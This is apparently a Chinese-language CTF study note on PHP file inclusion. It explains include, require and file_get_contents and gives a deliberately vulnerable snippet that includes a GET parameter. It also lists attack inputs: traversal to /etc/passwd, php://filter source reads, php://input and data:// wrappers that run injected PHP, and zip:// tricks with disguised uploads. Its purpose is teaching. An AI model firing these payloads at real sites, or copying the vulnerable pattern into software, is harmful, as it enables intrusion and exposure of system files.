文件包含 #
几平所有的编程语言都会提供文件包含功能,目的是将可重复使用的代码写到单个文件中,通过包含文件复用之前的代码逻辑,如C语言的#include
ctf web题目中,如果涉及考查文件包含知识点,则对应web大概率是由php编写,通过文件包含主要的目的有以下2点:
- 最终步骤:包含flag文件,获取flag
- 中间步骤:包含xxx.php,搭配文件上传触发脚本执行;或者获取对应代码,进行代码审计(主要情形)
当获取不到代码的时候,且页面有明显文件包含功能时,可以使用?page=../../../../../etc/passwd
,基于网页回显判断是否存在文件包含漏洞
关键函数 #
php中的文件包含涉及到以下函数,先理解以下函数的作用
include/include_once/require/require_once
,由allow_url_include = on/off
决定是否可以访问各种类型的数据流(built-in wrappers for various URL-style protocols),即使用伪协议file_get_contents/fopen
等filesystem相关函数,由allow_url_fopen = on/off
决定是否可以访问各种类型的数据流(built-in wrappers for various URL-style protocols),即使用伪协议
一些说明:
allow_url_include = on
设置生效,需要allow_url_fopen
设置为on
allow_url_fopen
默认on
,allow_url_include
默认off
allow_url_include
PHP 7.4.0版本已经不支持,只在PHP 7.3和版本中设置生效
include/include_require #
include 用于在 PHP 脚本中包含并执行另一个文件,包含的文件会被当成php代码执行,如果包含的文件不存在或者因某些原因无法加载,include 将发出一个警告(E_WARNING),但脚本将继续执行。适合于那些非关键的文件包含,比如界面元素或者某些可选的功能组件。
include_once 功能类似于 include,也是用于包含并执行文件。不同之处在于它会首先检查该文件是否已经被包含过,如果是,则不会再次包含。
代码段如下
<?php
$file = $_GET['page'];
include $file;
?>
require/require_once #
require 与 include 类似,但其差异在于错误处理。如果 require 的文件不存在或无法加载,PHP 将发出致命错误(E_COMPILE_ERROR),并停止脚本执行。适用于那些对脚本运行至关重要的文件,如配置文件或核心库文件。
require_once 功能类似于 require,也是用于包含并执行文件。不同之处在于它会首先检查该文件是否已经被包含过,如果是,则不会再次包含。
file_get_contents/fopen #
file_get_contents()
用于一次性将整个文件的内容读取到一个字符串中,本身不会将对应内容作为PHP 代码执行,这点与include不同。
<?php
$content = file_get_contents('filename.txt');
echo $content;
?>
关于是否将结果返回给浏览器,这取决于你对这个字符串如何处理,如显式使用 echo、print 或其他输出语句
fopen()
函数提供了更多的灵活性,它用于打开文件或 URL,返回一个文件指针,之后可以使用其他函数(如 fgets()
, fread()
, 和 fwrite()
)来读取或写入文件。参考代码略。
伪协议 #
php提供了各种伪协议,built-in wrappers for various URL-style protocols,具体查询链接中的信息每个伪协议是否受allow_url_fopen/allow_url_include
限制
ctf常考的伪协议用法如下:
?page=file:///etc/passwd
?page=php://filter/string.toupper/resource=flag.php
?page=php://filter/convert.base64-encode/resource=flag.php # 用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了
?page=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
# convert.iconv.<input-encoding>.<output-encoding>,支持的编码参看,https://www.php.net/manual/en/mbstring.supported-encodings.php
?page=php://input
【POST Data】: <?php phpinfo(); ?> # 当 enctype="multipart/form-data" 时,php://input 是无效的
?page=data://text/plain,<?php phpinfo()?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?page=zip://./file.jpg%23phpcode.txt
# 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip;如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后再上传
?page=compress.bzip2://./file.jpg # compress.bzip2 php特有流封装器在PHP中用于bzip2压缩单个文件
?page=compress.zlib://./file.jpg # 同上
绕过 #
TODO